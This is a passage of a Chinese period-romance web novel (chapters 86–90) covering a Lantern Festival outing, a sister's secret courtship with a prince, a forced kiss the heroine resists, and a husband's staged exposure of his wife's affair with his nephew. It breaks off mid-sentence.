林蓁听着直犯恶心,她倏地站起身,不想再和时彦同处一室:“我和他上一世就是夫妻,这一世若没有你的计算,我们仍会是夫妻。” 门扉吱呀一声蹿进一阵寒风,室内温暖似乎顷刻间流逝,只剩下时彦冰凉一人,他没有起身阻拦,呆坐在绣墩上看着桌上菜肴也没了胃口。 如今他有原罪,说什么做什么在林蓁眼中都有十恶不赦的动机和图谋,他只想回到他俩新婚原点而已,在这个异世界,有个懂自己和自己同频的人相伴。 他已快黔驴技穷,不知如何做才能换得林蓁回心转意,如果剖心可以自证,他也愿意,时彦长叹口气,看着口中气息变成白色雾气升腾到眼前。 唯一庆幸之事,就是时姝所说,林蓁对方怀简也没有回头心思?那是不是两人尚且在同一条起跑线,自己为林蓁夫君,还是比方怀简略胜一筹,如此一想,时彦又宽慰许多,方怀简没法和自己比,他从未上过桌,以后也不会。 第87章 第 87 章 她是他的掌中之物? 朔风凛凛, 冰天雪地,几场鹅毛大雪后就到了新年。新春虽仍然寒风凛冽,但皇城里张灯结彩,到处红妆喜庆年味弥漫。 林蓁随时彦去毅勇侯府和英国公府吃了几顿团年饭, 窝在静苑闭门看书。近新年时, 萧忱命人送来一车书, 经史子集还有各种律法考察、疑狱案例分析汇要, 应有尽有,林蓁 整理书目就花了整整两日时间, 即便日日从早看到晚,春闱前也看不完,林蓁捡出紧要书籍排了序列,按重要程度挨个阅读。 虽纳闷萧忱举止,但他是林蓁一母兄弟, 时彦并未多想, 看到林蓁每日卷不离手,调侃她道:“可惜大周科考女子不能参加, 不然你和小弟同时参加春闱,百星之明不如你一月之光。” 林蓁瞪了他一眼不理他, 她虽跟着梅棠在御史台学习了几个月,看书也算用功, 但本质还是走自学的野路子, 哪里比得上自家小弟自小走精英培养路线, 无论英国公府给请的先生还是国子监里的老师,各个都是当代有名大儒,按照书里剧情,林承俭会高中参加殿试, 得天子钦点,林蓁尚未膨胀到那般自信。 元宵佳节亦是如常,叫厨房煮上一锅元宵添上每日饭食,就算过节。用过午膳林蓁回到书房继续看书,不一会儿碧竹来传消息,时姝来了静苑,林蓁闻言放下手中书本。 说不准是时彦给时姝递信,让她来静苑当和事佬。时彦提了几次元宵节一起去看花灯,都被自己不假思索拒绝,他使唤时姝过来,知道自己从不会拂时姝面子。 林蓁尚在思索,时姝人影已在窗棂上隐隐绰绰,她刚把书拢好,时姝就迈进了书房。 “嫂子,元宵节还这么用功?今晚未央湖边有灯会,我们一起去看罢?” 时姝声音清脆甜润,眼睛亮闪闪似两颗宝珠,嘴角噙着笑,一身朱红五彩金缎裙袄衬得小脸粉扑扑,恁谁都不会拒绝这样可爱姑娘的要求。 林蓁对她莞尔:“去罢去罢,你可做了看灯的功课?” “哥哥做了,我们跟着他就成。”时姝搓着手,站在炭炉前烤火。 林蓁扶了扶额眼里闪过一丝不虞,她就知道。 冬日天色黑得快,用过晚膳已暮色四合,仨人坐上马车驶向未央湖边赏灯。 心里挺烦时彦,但一路有时姝笑笑闹闹,林蓁亦是第一次夜晚出门看元宵灯会,心情还是挺畅快。到了最热闹街口,马车不能再驶进去,仨人下了马车顺着人流往里走。 夜晚的长街如一条火龙,蜿蜒喧闹,沿街各式花灯色彩斑斓,样式奇巧,令人目不暇接,林蓁拉着时姝的手,一边看着街道两边彩灯,一边小心避开摩肩接踵的人群。 突然,一位少年背对着林蓁时姝疾步后退,林蓁拉着时姝想往边上闪躲,奈何周围都是人,避无可避,眼见少年就要撞上来,时彦一大步走到林蓁身前,拦住了少年。 嘭的一声响,少年撞上时彦,他转过头叠声陪着不是,时彦挥挥手让少年自去,右手自然而然攥起林蓁的手。 早在下车时他就想如此,可林蓁那时仿佛知道他心思,拉上时姝转身就闪开了。 时彦都快记不清上次触碰林蓁时是什么时候,她的手小小的软软的温温的,酥软得像棉花糖,他不敢紧捏,唯恐损了棉花糖的轻盈和柔软,可亦不愿松开,生怕到手糖果又飞了出去。 林蓁甩了甩手,想摆脱时彦的紧攥。 她披着杏黄宝相花纹鹤氅,小脸仰着看向时彦,眼眸里映照着灯火,脸颊上飘忽着红,不知是冻的还是气的,时彦眼里,只觉她格外可爱,他迅速忆起曾经搂她在怀的感觉,此刻怀中空落落冷飕飕,好想拉她一下,让她滚进自己胸口。 时彦压制下遐想,似笑非笑:“人多,牵着以免走散。” 时姝回头看到两人动静,也笑道:“牵着牵着,哥哥,你走我们前面。” 时彦当即向前走了两步,回首看向还站在原地的林蓁:“等人少些,你们自己走。”时姝笑嘻嘻,推波助澜在一旁推搡,大过节的人山人海,林蓁忍下不快缓缓跟上时彦脚步。 三人在人流中东看看西看看,时彦给两人买了花灯,时姝自己拎一盏兔子灯,时彦帮林蓁拎着她的金鱼灯,金鱼灯一闪一闪的栩栩如生,林蓁看着喜庆喜欢,心里的不快不知不觉散了。 未央湖早就冻成厚厚冰面,湖面上许多冰块雕琢成各种形状,有人偶有动物,还有各种神仙,色彩虽没有街道上彩灯亮丽炫目,但晶莹剔透宛若冰雪中的梦幻世界,林蓁第一次见雕刻得细致入微的冰晶雪人,绕着冰雕兴致盎然。 “盐铁使大人!”一位身量挺拔,面容俊朗青年忽地出现在三人面前,含笑问候。 想来是时彦同僚,林蓁想抽出被时彦紧握的手,他松开了手,林蓁刚收回手到袖笼中,腰肢一紧,时彦的手竟穿进她的大氅揽住了她!她想挣扎来着,可俊朗青年就在眼前看着,她闷着气忍了下来。 时彦打量着眼前青年,一时怀疑自己眼花,分明是七皇子魏王萧策,可自己与萧策八竿子打不着,只是面熟从未说过话,他怎会主动跑来打招呼。 “魏王殿下今晚也来赏灯?”时彦客气回应。 “是呢”,萧策含笑请求,“我正好独自一人,不如一起?”说话间,眼光瞥了时姝一眼迅速收回。 自己带着家眷游玩,萧策怎会没有眼力见强行参和,时彦目光落在时姝身上,萧策为了时姝? 时姝脸颊上起了红云,对上时彦目光,忙道:“我看好了,我想回去了。” 时彦顺水推舟,对萧策道:“我们出来已久,正准备回去——” 语音未落,时姝已转身要走,可林蓁还牵着她的手,林蓁已看出一些端倪,估计这位殿下醉翁之意不在酒,并非为赏灯实为时姝而来,林蓁攥着时姝道:“莫急,我们一道。 见三人齐齐要打道回府,在未央湖上等了多时的萧策急了,他对着时姝背影道:“姝儿,我等你许久。” 亲昵的“姝儿”让时彦和林蓁都愣了神,林蓁的手微微拉了拉时姝。 时姝转过身,涨红着脸对萧策斥道:“你乱喊什么,谁让你等了!” 这下时彦和林蓁都明白,时姝萧策应该认识,林蓁更联想到在玉泉庵时姝求姻缘签,那是心中有人为萧策而求?慧真大师说,时姝姻缘贵不可言,不是因为萧忱而是萧策? 可剧情不是如此,林蓁回想着剧情,她甚至想不起来有魏王萧策此人,想来他未参加夺嫡之争属于无关紧要路人?和方怀简一样? 林蓁的鞋似和冰块冻在了一起,迈不开步伐。 “真想走么?”林蓁问时姝。 时姝神情犹犹豫豫,埋着头看着自己的裙裾小声道:“再看一会儿?我们把那边没看的几个看完就走?” 她虽然小声,可近在咫尺的萧策听得明白,他满脸生花地走到时姝身边,自然而然拿过时姝手中的兔子灯,对时姝道:“手冷,我帮你拿。” 林蓁倏地放开牵着时姝的手,就见两人极其自然并肩向前走去,熟悉程度显然不是刚刚认识。 望着两人算得上亲近的背影,林蓁忽地一阵头晕,身形不自知的晃荡,剧情歪得没边了,那自己岂不是时彦唯一救命稻草?虽然她早和他讲明白,但溺水的人怎会听得进。 腰间大手及时扶稳了林蓁,林蓁抬眸看向时彦,他目光亦追随时姝萧策的形影,脸上倒没什么意外表情,似乎早有预料,可他抓攥自己的手,隔着厚厚冬衣她都能感受到那股灼热,她是他的掌中之物,逃不掉? 第88章 第 88 章 凤佩 小情侣的脚步轻快, 紧跟其后的林蓁行态木然,心里万般思绪,根本没有心思再看一眼冰灯,小情侣刻意压低着声音说话, 可距离实在太近, 即便林蓁并不想窥听, 甜蜜声音还是断断续续飘进林蓁耳里, 让林蓁大致弄明白了原委。 原来时姝和萧策约好今晚看灯,可时姝临时得了时彦托求, 便回了萧策邀约,萧策知晓她会和家人一起出门看灯,拒了宫宴早早守候在湖边。 小情侣甜蜜约会竟被时彦横插一脚,萧策想必有许多怨怼。林蓁低头,默默看着时彦的乌皮靴踩着前人脚印一步步行进, 不知他是否仍指望着萧忱提携, 生生要拆散这对恋人。 夜里寒气湿重,看完了花灯和冰雕, 四人往回走,时姝褪去了萧策刚冒出来时的不自在和紧张, 回过神后丢下萧策,仍然亲热地搂着林蓁走路, 萧策和时彦走在两人身后。 萧策目光始终落在时姝身上, 嘴里有一搭没一搭和时彦闲聊。 时彦心里翻江倒海, 他阻了母亲谢氏给时姝准备的诸多青年才俊,可那些人都是母亲操持打听,描述给时姝听时夸得花儿一般,时姝听过后见自己挑毛病笑笑也就过去。 他们比不过萧策, 这可是时姝自己相看的人,说不准时姝看不中母亲的人选就是因为心里早有了人。 “你们怎么认识的?”时彦问萧策。 萧策不好意思笑笑,微微垂首用手轻拭着鼻翼,好似如此就能遮掩住心思不被他人窥视。 “去年中秋时,在大相国寺看灯时遇见”,萧策道,“我的随扈不小心碰坏了时姝的灯。” 时彦思绪飞回了那日,林蓁被萧忱抓走福祸难料,好不容易脱困回府,自己惦记着萧忱时姝姻缘怂恿时姝独自出 门游玩,她没有遇到萧忱却遇到了萧策。 时间已近半年之久,时姝和萧忱的缘分竟然变成和萧策的了么?! “你们常常见面?” 萧策似乎极为窘迫,赧然解释:“见过几次,但是,就是,我们没有——” 见萧策吞吞吐吐,时彦直接打断他的话问道:“殿下对我妹妹,究竟怎么想的?” 大周民风开放,青年男女见个面说说话没有什么,时彦穿越之人更不在意这些,他只想弄明白时姝和萧策发展到什么程度,若两人要好,萧策为何稳如泰山,半年都不在长辈面前吭气,这么长的时间郎有情妾有意早该说媒定亲。 “盐铁使觉得我怎么样?”萧策额间有些冒汗,“我早想请媒人上毅勇侯府拜访,但我未确定姝儿心意,担心唐突惹她不快,今日得见盐铁使,若是毅勇侯和盐铁使尚还看得中我,我即刻请人托媒。” 萧策言辞恳切,但时彦没有应声,除了知道他是皇子刚封了魏王不久,时彦对他的了解实在有限。 萧策继续道:“我母妃为普通宫人给不了我庇佑,我本人才疏学浅,幸而尚有自知之明,这辈子只想在封地安稳做个闲散王爷,时姝跟着我不能炊金馔玉,有些委屈,但我此生只想她一人,给她快乐安稳,一辈子衣食无忧。” “虽然冒失,但我实在希望,盐铁使在长辈们面前为我美言几句?” 时彦抿着唇不说话。就萧策外貌来看,时姝匹配他绰绰有余,他本就不得宠的皇子,还胸无大志不争不抢只想偏安一隅,就算不考虑萧忱,嫁给萧策这样的皇子,还得离开皇城去封地,父母亲必然舍不得,皇城里比他好的男儿多得是,在父母跟前看着,有什么委屈随时可以回家找父亲和哥哥们撑腰,不比去偏远之地好太多。 说话间,四人已走到马车跟前,时彦向萧策拱手作揖:“殿下就此留步,殿下心意我会向父母禀明,也会问明白时姝。” 萧策依依不舍看向时姝,把兔子灯放还在她手里,时姝头也不回地上了马车,待马车缓缓启动,她的视线却飘向窗帘,宛若能看到窗外的萧策。 冬日气温低,马车窗帘是厚厚两层,不撩开窗帘根本看不到外面丁点儿风光,时彦看着时姝躲避的眼神,问她:“你和他认识半年都不和家人通个气儿,是打算就和他玩玩儿,还是骑驴找马?” 时姝转头,飞过来一记眼刀:“哥哥,你说话怎么这么难听!” “那你什么打算,哥哥也好帮你。” “帮我?”时姝脸上现出一丝意外和怀疑,随即又变为笑意:“哥哥,你不讨厌他,觉得他还行?” 过往只要母亲提到哪位青年,流露出想给自己牵线的意思,哥哥必然跳出来,挑出对方一堆儿毛病,今日竟然难得没说萧策坏话,还要帮自己? 和母亲提过的那些才俊比,萧策并没有多好多出类拔萃,只是和他在一起特别开心,时姝心里现出一丝丝希望,她担心父母不同意远嫁,担心哥哥挑刺,但哥哥破天荒什么都没说。 “我不了解他,如果你真喜欢他,我和爹娘得托人打听打听。” 时姝不再说话,偷瞄了一眼林蓁,她侧首托腮眉眼柔和,正看着自己静静微笑,时姝对上林蓁目光,心中的石头一下子飞走了,林蓁懂自己,她一定会帮自己在哥哥面前说好话。 毅勇侯府轿厅,马车放下时姝未做停留,出了府门向着静苑方向行驶。 车厢内,林蓁问时彦:“时姝喜欢萧策,这次你还要阻扰么?” “总得去打听一番,都不知道萧策做什么的,大概纨绔一个。他若还算靠谱,时姝也真心喜欢,女大不中留,随她去了。” 时彦倒不是大发善心或者心灰意冷,只是四人在冰雕那儿转悠时,他的眼睛告诉他,时姝和萧策如胶似漆,正上头的情侣要强掰扯开不是件容易的事,关键就算他强拆了两人,时姝也未必喜欢上萧忱,萧忱也不见得非时姝不娶,他俩差异甚远,走到一起的希望渺茫。 损人不利己的事儿没必要做。如果妹妹想嫁人,他当然希望时姝找个真心实意彼此喜欢的人。 车厢里静了下来,时彦国舅梦破碎,他必想方设法缠着自己,林蓁这样想着,没心思再搭话。 车轱辘在雪地里走着几乎没有声音,偶尔车夫扬起马鞭,清脆马鞭声在雪夜传得很远。林蓁闭目休息,耳边时彦突然道:“若有一天方怀简取我性命,你还会像以前一样帮我站我这边吗?” 林蓁睁开眼眸,时彦低垂着头,目光凝视着他的乌皮靴,神情绷着似乎在思索极其严肃重要的问题。 “我们和离了,他都不会再看你一眼。” “我不想。他像以前一样拿刀怼我时,你还会帮我么。” 林蓁懒得想这种假设下无聊的答案,方怀简已然跟随萧忱做事,不会像以前一样做事冒失,绝不可能再有众目睽睽下举刀刺人举动。若私下打架,林蓁回忆了两人在云栖院的打斗,武力值半斤八两,想来方怀简不会再做没把握一定赢的打斗。 林蓁闭上眼睛,靠着车厢板继续休息。 可她刚闭上眼睛,就感应到一股热气袭来,时彦攥着她的手,呼吸喷洒在她的脸上:“你会帮我的吧?” 林蓁睁开眼睛,对上时彦离自己寸许不依不饶目光,似乎她不给出个令他满意答案他就不会放过她。 “他若要你的命,我当然会帮你。”林蓁无奈,平静应答。 就像路上看到陌生人受到侵害,普通人定会拨打报警电话一样,平凡的普通人不希望看到不公平不正义,不希望看到鲜血淋漓的喋血事件。 无论方怀简还是时彦,生命受到威胁时,她都会尽全力帮他俩。 时彦深邃眼眸里忽地释放出烟花,噼里啪啦闪烁出晶亮光芒,他的嘴角也慢慢勾起弧度,心中欢喜抑制不住从眼角眉梢冒出来。 林蓁看着有些晃神。他面对自己时的笑容总是真诚得让人无法不信服,他又那样好看,桃花眼勾人似的荡漾,似乎眼里心里只有眼前一人,多看几眼意志力再坚强的人都难以抵御,林蓁感到彼此距离近得很危险,她垂下眼眸,伸手抚上时彦下颚想推开他太近的脸。 然而这似乎给了时彦错觉,他一把握紧林蓁抚上自己脸颊的手,“这是我今天听到的最高兴的话。” 时姝和萧忱各走两道,方怀简辅佐萧忱大业,而自己与父亲会护建安帝安泰,未来某天自己与方怀简定有如云栖院那夜的打斗,不仅仅为林蓁,还为各自前程和自己和家人的性命,只会比那夜更加激烈和惨烈。 想到这个未来一定会发生的事,时彦无比期待从林蓁嘴里听到令自己不郁结的话语,哪怕是谎话也可以暂时慰藉自己。 林蓁如自己所愿,虽然语气淡然,但说出的话那么动听,“当然会”,一点儿不像哄骗自己,眼神澄澈得让人心颤,时彦的心激动又柔软,他倏地俯下身,不管不顾吻上林蓁。 她只是有心结,她心里有自己,碰触到林蓁的唇舌,时彦在心里喟叹。 林蓁后悔推他推得太迟,他的吻就像冬季雪地觅食的野兽突然找到了猎物,饥肠辘辘,宁愿被打死都要死死咬住不松口。 林蓁用力捶他,不过才捶了两下,胳膊就被他紧紧桎梏住,她又后仰拼命躲避,却徒劳倒在榻上,被时彦重重压住了全身,她想叫骂,口鼻被 他疯狂得堵住,连呼吸都费劲,她只好学着他发疯的样子咬他,口舌间顿时充满铁锈味道,可时彦似乎被刺激得更加高兴,他吸吮着的间隙,喃喃轻笑:“再用力些。” 饥肠辘辘的凶兽找到了可以管一个漫长冬季的食物,贪婪舔咬啃噬,如珍似宝,直到马车驶进静苑,云娘声音在车外响起,时彦才恋恋难舍放开林蓁。 林蓁大口喘气,水润光亮的红唇微微肿胀,时彦伸出手还想抚上一抚,一个耳光迎面挥向他的面颊。时彦没有闪躲,结结实实挨了一巴掌。 林蓁有些意外,收回手看看自己手掌,手心红红的,手掌打得生疼。 “下次想打和我说,我自己打,免得手疼。” 和这种没脸没皮的人打交道,只会把自己逼疯,林蓁弓着腰站起身,一言不发掀开车帘跳下车,她再不会和他出行,时姝来了也不行。 * 惠王府,萧忱参加完宫里建安帝的家宴回府时,时辰已经很晚过了亥时。步行往自己寝房,路过门客们议事的厅房时,见房里还亮着烛火,萧忱问身边近侍:“谁还在那儿?” 近侍答道:“是方翰林。” 萧忱停驻脚步,望向厅房里的烛火。今夜元宵佳节,即便门客们值夜,也不需要守到这个时辰,大可以回厢房早些休息。方怀简跟随自己后,对皇子们动向洞若观火,出的主意想的计划次次都如运诸掌手到擒来,实在是不可多得人才,偏偏这样的人中龙凤比一般门客还要鞠躬尽瘁沥胆披肝,萧忱的脚步不知不觉迈向厅房方向。 吱呀一声推开门,方怀简听到动静已在桌几前站起了身,见是萧忱,他躬身行礼:“殿下,这么晚您怎么来了?” 萧忱难得的温和:“世之,元宵佳节你怎么还在这儿?” 有家室的人都早早回家搂着娇妻过节,萧忱知道方怀简夫妻关系平淡不做多问,但他家尚有老祖母,元宵节不应该在此。 方怀简道:“我家中无事,家里人口多少我一人亦不会清冷,今夜替了一位同僚值夜,在这儿看看送来简报。” “有消息明晖回了皇城,我在想有什么方法可以再见他一次。” “可有想到什么好主意?” “他武功高深莫测,行迹诡秘,我想除了利益诱之,大概很难单凭武力捕捉到他。” 方怀简垂眸,向萧忱汇报近日自己经手过的各个事项,视线所及,突然看到萧忱腰部垂挂的玉佩闪闪发亮,那是和林蓁那块玉一模一样的黄金玉,只是这块玉是龙佩,和林蓁那块凤佩左右对称完美契合。 方怀简等着萧忱指示,心里思绪飘向远方。 林蓁交代自己不要像萧忱吐露任何事情,可按照她的想法,与时彦和离不知道要拖到什么时候。 时姝在玉泉庵算梅花卦,是至尊之像,和萧忱吗?如果萧忱知道林蓁是自己妹妹,出于对时彦的厌恶,恨屋及乌大概对时姝也不会上心不会动心? 萧忱不知道与林蓁血缘关系,可他送书又送画的,行为难于揣测,让他清醒一些,会不会更好? …… “可,你认为他渴求的是什么?”萧忱想着明晖的事,发觉方怀简目光凝视着自己的玉佩,他问道:“怎么了?世之是哪里见过?” 这块龙佩是母亲遗物,萧忱珍惜异常,平日基本不会佩戴,今日元宵佳节又是与父皇的家宴,他才特意佩戴,纪念不知所踪的母亲。 方怀简站直身体,目光直视萧忱,语气有些迟疑:“殿下,我的确见过类似的玉,与殿下龙佩极其相似,却是凤佩,看着像是一对儿。” 萧忱的手不禁握成了拳:“你在哪里看到,是什么样的?” “林蓁曾经送我一块凤佩,我亲眼所见,绝不会错,但阴差阳错,那块凤佩被我不小心弄丢了,她没有找我索回,我心内歉疚一直在尽力寻找,只是再无讯息。” “林蓁?”萧忱淡淡重复。 “是,林蓁所有”,方怀简解释,“林蓁向我提过,是她去世的母亲留给她的念想,保她平安顺遂。那时,我离开皇城去越州督考,林蓁送我此玉,意喻平安。” “去世的母亲?”萧忱想起来,林蓁提过,她的母亲是潭州人,但是商户之女。 “你说的可句句属实?” “臣无半句虚言,殿下可亲口询问林蓁”,方怀简顿了顿,补充道,“只是现在她没有凤佩,但只要问问她的身边人,一定都知道这块玉的来历。” 第89章 第 89 章 我只怪自己(剧情章,萧…… 萧忱视线直视方怀简眼眸, 如鹰隼锐利,似冰锥冷冽,似要看出方怀简的破绽虚假,又或者窥破他的别有企图, 然而方怀简目光坦荡, 面色端肃, 身体笔直胜似松柏, 浑身散发出的气质和他平日办事风格一样让人塌心信从,萧忱目光缓缓变得平和, 最后凝为一泓不见底深潭。 抓肝挠心多年的答案,以为永远无法揭开的谜底,却轻轻易易宛如一层窗户纸,倏地就捅破了。萧忱想过无数次答案的模样,却不是现在这样。 潭州人, 商户之女, 委身为妾屈辱生子,万般苦楚郁结早逝……一切细节都佐证, 方怀简句句属实,这些微末在碰见林蓁后, 萧忱早就知晓,可大概内心不想面对母亲受欺受辱的事实, 宁愿相信她们灰飞烟灭在无人知的暗处, 萧忱没有去深入探查, 就让这些从眼前飘忽忽飞过。 毫无知道真相后的轻松畅快如释重负,萧忱心里麻酥酥酸疼,这种感觉细微又清晰,从心脏慢慢延展到头, 到发根,到脚,到指尖,似无数蚂蚁啃噬,然而却抓不到任意一处实处,室内温度变得炙热,灼烫着他的鼻腔,他的肺部,加重他无法述说的病状,萧忱透不过气,只想冲出门扉到室外呼吸冰冷空气,给火般难熬的躯壳降降温。 他嗫喏着薄唇,良久,对方怀简道:“这块龙佩的确本是一对儿,这是我的私事,出了这个门,你从未见过我的龙佩,对此事一无所知。” 方怀简垂首应是,他明白萧忱忧心,母亲是逃婢身份,现在又是夺嫡关键时刻,此事必然谨慎小心,越少人知道越好。 “我已回府,有事儿自有人会通报于我,元宵佳节,今夜不必值守,回家看看罢。”萧忱交待了方怀简几句,转身离开。 方怀简重新坐回案几前,翻翻案几上尚未看完的简报,却再也看不进去一个字。 视线落在窗棂上,院内模糊暗影在窗棂上若隐若现,就像他的追逐,似乎就在眼前唾手可得,可又辨不分明,他站起身走到窗棂前,伸手推开了窗,寒风刺骨,冻得皮肤顿时收缩了一圈,方怀简吐了口气,调适自己适应寒意,眼前月光清冷,檐上残雪泛着诡异暗蓝,遒劲梅树似乎变成精怪扭曲得狰狞,干冷空气让方怀简头脑清晰异常,良宵佳节,差不多该到了时候,他该回去看看。 方府轿厅,下了马车,方怀简悄无声息走向自己院落,值夜仆从看到他,意外地向他打招呼,方怀简微微颔首。 许久没有见过方府夜色,不是在自己书房早早就寝,就是在惠王府忙个通宵。此刻府内万籁俱寂,只有廊檐下一路的大红琉璃灯还提示着今夜本是喜庆之夜团圆之时。 院门早就落了栓,方怀简轻轻叩门,寂静深夜即便方怀简刻意压制动作幅度,声音也清亮悠远。 丫鬟很快来开了门,见是方怀简,脸色惊讶:“二爷见谅,以为二爷今晚不回来了,奴婢早早睡下了。” 方怀简点点头,“你去睡罢。” 往前院自己书房走,走到回廊前院与后宅分岔处,方怀简目光看向后院,隔着院中疏落绿植视线并不清晰,但徐蕊婴休息的寝室和相邻的次间仍亮着烛火。 深爱自己的妻子无论何时,都给自己留着一盏温暖的灯,照着自己回家的路,这本该无比温馨情景,方怀简想了想,心中只有寒意和怅惋,不止,还有了别样期待。 已经快到子时,徐蕊婴仍等着自己?方怀简并不如此想,他早让人传信今晚不会回府。 他跨进后院,站在廊檐琉璃灯下,目光仍然锁着房内那温暖烛火。 跟在方怀简身后长随方德山看不太明白,公子无事不会迈进后院,今晚元宵节,少夫人竟然给公子留了灯,公子改变主意会留宿后院吗?自己不能进后院,现在是不是该主动告退? 方怀简站在琉璃灯下既不进也不退,就安安静静站着,似乎等着什么,期待着什么。 冬日夜 晚寒凉刺骨,方德山冻得有些受不住,喉咙干痒,他捂嘴咳嗽了一声忍不住问:“公子,少夫人似乎没歇,去少夫人那儿看看?” 未等方怀简回应,次间烛火忽的灭了,方德山心里骂自己乌鸦嘴,再一看,少夫人房中烛火紧跟着也灭了,整个后院只剩下门口孤零零两人,空寂阒然。 眼睁睁看着光亮间次熄灭陷入黑暗,方德山心疼公子,正想开口劝方怀简回书房歇息,听到方怀简吩咐他:“去找祖母大丫鬟兰月,即刻现在,让她到后院来,我给祖母带回极为方便的烫媪,让她拿去马上给祖母用起来。” 方德山不明所以,这么晚叫兰月过来?自己也可以送过去的,隐隐觉得有些不对劲,但没有多问,答了一声小跑着走了。 方怀简眼眸四周转了一圈,目光所及一片死寂,元宵夜的世界仿佛只剩下自己一人,他抬眼望了一眼天,暗邃天空一轮圆月高悬,明亮得不像真的,像黑色幕布上贴着一张彩纸月亮,又像丙烯画里涂鸦,虚假的圆。 跺了跺脚,方怀简走向徐蕊婴房间。 “表妹,我来看看你。”方怀简站在门口,轻扣门扉。 屋内徐蕊婴紧张得手心冒汗,大意了实在大意了,以为方怀简说不回来就真的不回来,她看着侄子方维京,他额间也隐隐冒汗。 徐蕊婴心里翻江倒海,想不顾一切干脆和方怀简挑明,掩掩藏藏担惊受怕的日子实在难熬也看不到尽头,又想还是让方维京先躲一躲,和自己侄子有了恋慕,长辈们尤其是祖母会不会因此一命呜呼,自己责罚事小,闹出人命罪无可恕。 “表妹,刚刚看你房里还亮着灯。”方怀简在门口,轻轻叩着门,不紧不慢地催促,等待越久,心里越松弛。 方维京不由得攥紧了拳头,对徐蕊婴道:“蕊蕊,就趁今晚我和小叔叔说开,求他成全!” 徐蕊婴本来犹豫,听到方维京如此说心里烫贴安慰,却迅速做了决定,她环顾房内推着方维京躲进衣橱,方维京本还要坚持,见徐蕊婴眼眶泛红眼看就要流泪,只得依她藏进了衣橱。 方怀简等了半晌,室内重新亮起烛火,过了一会儿门终于开了。 徐蕊婴贴身大丫鬟揉着眼睛,叠声道歉:“不知二爷今晚回来,刚刚倒床就睡着了。” “少夫人已经歇息了,要叫醒少夫人么?” “我去看看她。”方怀简视线绕了一圈次间,次间没有大件家俱,一览无余藏不了人,他径直往内间走。 丫鬟有些惊慌,忙高声道:“少夫人,二爷进来了。” 方怀简绕过屏风,见徐蕊婴似乎刚刚从衾被里爬起,倚靠着床架坐着,乌发披散,目光淡淡看过来,不急不徐道:“表哥?你说今晚不回来,我就睡了。” 她安静沉稳得异乎寻常,然而过犹不及,方怀简都有些想笑,果然在极端情形下,人的潜力无穷,平日娇滴滴柔弱弱看似没主见的表妹演起戏来也是可以拿奖水平。 “本没计划回来,惠王说元宵节,让我回家。”方怀简看了看房内布置,徐蕊婴衣裳凌乱挂着,不是她一贯风格,视线落在唯一可以藏人的大衣橱上,方怀简走向衣橱。 “你做什么?你不回书房么?”徐蕊婴探出身高声道。 方怀简目光看向徐蕊婴:“今晚与惠王一番长谈,我想通了,过去都是我诸般错,今后我俩好好过日子好么?” 徐蕊婴心下一动,眼里顿时涌出热意,太迟了,太迟了,为什么不早些和自己说这样的话。她还来不及说些什么,见方怀简已走到衣橱前,伸出手就要拉开衣橱,徐蕊婴尖叫:“住手,那都是我的东西,你要找什么?” 方怀简心下了然,拉门的手悬在半空,回首柔声道:“我记得我有些衣裳在这里的,我今日歇在你这儿,好么。” 徐蕊婴眼泪扑簌簌滚落,她颤声道:“表哥,这里没准备你的洗漱物什,明晚,明晚罢。” 她从床上迅速爬了起来,身着单薄中衣快步走到方怀简面前,伸手拉住他的胳膊,似乎想把他拉开。 徐蕊婴红着眼:“表哥,明晚,明晚我服侍表哥。” 她眼睫上挂着泪珠,颤微微随时会滚落,一时间,方怀简不知她是真情还是假意,她回心转意了?衣橱里的人怎么办? 方怀简微微喘了口气,坚定伸出手:“嫌弃我么?” “不要!”徐蕊婴抓攥住方怀简已触碰柜门的手。 时间似乎凝滞,徐蕊婴的手发着颤,让方怀简感到时光仍在流逝。他抬眸看她,她低垂着眼,视线似乎在自己手上,双颊红得火烧般,鼻翼微微翕动,呼吸粗重,浑身绷得僵直,方怀简有些怀疑,他拉开柜门的一瞬,她会昏过去。 表妹无辜,可他不也是可怜人,他为她谋划了一个妥当之人,她仍然会是方府媳妇,这已是对两人最好的方式。 方怀简被抓攥的手挣脱了一瞬。 “求你,明晚!”徐蕊婴带着哭腔。 方怀简的手按在门把手上,徐蕊婴啜泣出声,方怀简大拇指微弯,按住却没有用劲儿。 下一刻,衣橱门由里向外推开,方维京面色涨红走了出来。 三人对视,屋里落针可闻。 方维京红着脸,须臾后他扑通一声跪在方怀简面前,深垂着头。 “小叔叔,我爱慕蕊蕊,我对不起小叔叔。” “一切和蕊蕊没有关系,是我生了不该有的心思,是我缠着她不放,小叔叔责罚我,莫要责罚她。” 方怀简不言,心道自己的侄儿还算有点儿担当,表妹跟着他也不算委屈。 方维京还在继续:“我和蕊蕊是真心的,小叔叔,我们对不起你,但要怪只怪我,只是事到如今,还求小叔叔成全!” 方怀简无动于衷,但他听到,心里嘎嘣一声脆响,憋闷的情绪突然有了出口,半年了,终于等来了这句话,好像曙光初现,他的暗夜里也有了一点点光亮,心里的渴盼他的圆快了罢。 他缓缓看向徐蕊婴,她却不敢再与他对视,不言不语跪在方维京身边。 方怀简伸手摸了摸侄儿的头,长长喟叹一声。 方维京与自己差不多年纪,也算得上从小到大的玩伴,他替自己迎亲,他代自己拜堂,自己熟悉他,自己利用他,诱惑他给他创造机会,自己也成全他,所幸这个结果很完满。 “唉,我不怪谁,我只怪自己。” 第90章 第 90 章 我当然会帮她 过完元宵节, 皇城里新的一年才算真正开始,官员们每日当值,商铺陆陆续续开门营业,出了正月, 云娘寻了个好天气带着个小丫鬟去皇城最大的药铺庆余堂买点日常滋补的汤剂药材。 毅勇侯府的产业中有药铺, 过去需要个什么只要和管家说一声, 都是挑选顶顶好的送到府上, 但林蓁一心和毅勇侯府切割,叮嘱云娘无论什么都不要再向侯府管家开口, 除了侯府主动送过来或者时彦开口,一些小东西云娘就带上小丫鬟出门时顺便买了,静苑不大,主子加仆妇总共没几个人,每次买的量不多, 不需要额外车马和人手。 庆余堂皇城最大药铺, 气派恢宏,主楼雕梁画栋有三层高, 一层的铺面是寻常药铺的几倍大,每日还有好几位大夫坐诊, 无论春夏秋冬,从来顾客盈门。 云娘差不多每月来一次, 已经熟门熟路, 她跟在排队人群中, 轮到自己时拿出写在纸上的方剂递给伙计看。 伙计先看了她一眼,看看方剂,再抬头仔细盯看她。 云娘奇怪,问道:“有什么问题吗?” 伙计客气赔笑道:“没问题, 您是老主顾罢,最近有个回馈老主顾活动,我让掌柜的和您说。”伙计不等云娘答复,转身跑出了柜台。 云娘纳闷,视线跟着伙计 